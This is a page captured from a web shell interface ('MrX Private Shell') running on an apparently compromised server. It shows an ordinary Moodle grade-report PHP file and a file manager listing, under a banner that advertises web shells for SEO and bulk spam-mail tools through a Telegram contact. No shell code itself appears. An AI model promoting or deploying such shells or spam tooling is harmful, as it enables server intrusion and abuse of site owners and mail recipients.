__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

namespace gradereport_singleview\local\screen;

use gradereport_singleview;

/**
 * The user search screen.
 *
 * @package   gradereport_singleview
 * @copyright 2022 Mathew May <mathew.solutions>
 * @license   http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
class user_select extends screen {
    public function init($selfitemisempty = false) {
    }
    /**
     * Return the HTML for the page.
     *
     * @return string
     */
    public function html(): string {
        global $OUTPUT, $COURSE, $USER;

        $userlink = new \moodle_url('/grade/report/singleview/index.php', ['id' => $COURSE->id, 'item' => 'user_select']);
        $gradelink = new \moodle_url('/grade/report/singleview/index.php', ['id' => $COURSE->id, 'item' => 'grade_select']);
        $gpr = new \grade_plugin_return(['type' => 'report', 'plugin' => 'singleview', 'courseid' => $COURSE->id,
            'userid' => $USER->id]);
        $context = [
            'courseid' => $gpr->courseid,
            'imglink' => $OUTPUT->image_url('zero_state_user', 'gradereport_singleview'),
            'userzerolink' => $userlink->out(false),
            'userselectactive' => true,
            'gradezerolink' => $gradelink->out(false),
            'gradeselectactive' => false,
            'displaylabel' => true,
            'groupmodeenabled' => $COURSE->groupmode,
            'groupactionbaseurl' => 'index.php?item=user_select',
            'groupid' => $gpr->groupid
        ];
        return $OUTPUT->render_from_template('gradereport_singleview/zero_state_user', $context);
    }

    public function item_type(): ?string {
        return false;
    }

    /**
     * Should we show the base singlereport group selector?
     * @return bool
     */
    public function display_group_selector(): bool {
        return false;
    }

    /**
     * Get the heading for the screen.
     *
     * @return string
     */
    public function heading(): string {
        return ' ';
    }

    /**
     * Does this screen support paging?
     *
     * @return bool
     */
    public function supports_paging(): bool {
        return false;
    }
}

Filemanager

Name Type Size Permission Actions
filterable_items.php File 1.41 KB 0777
grade.php File 12.32 KB 0777
grade_select.php File 2.74 KB 0777
screen.php File 13.38 KB 0777
select.php File 6.96 KB 0777
selectable_items.php File 1.73 KB 0777
tablelike.php File 6.74 KB 0777
user.php File 13.46 KB 0777
user_select.php File 2.76 KB 0777
Filemanager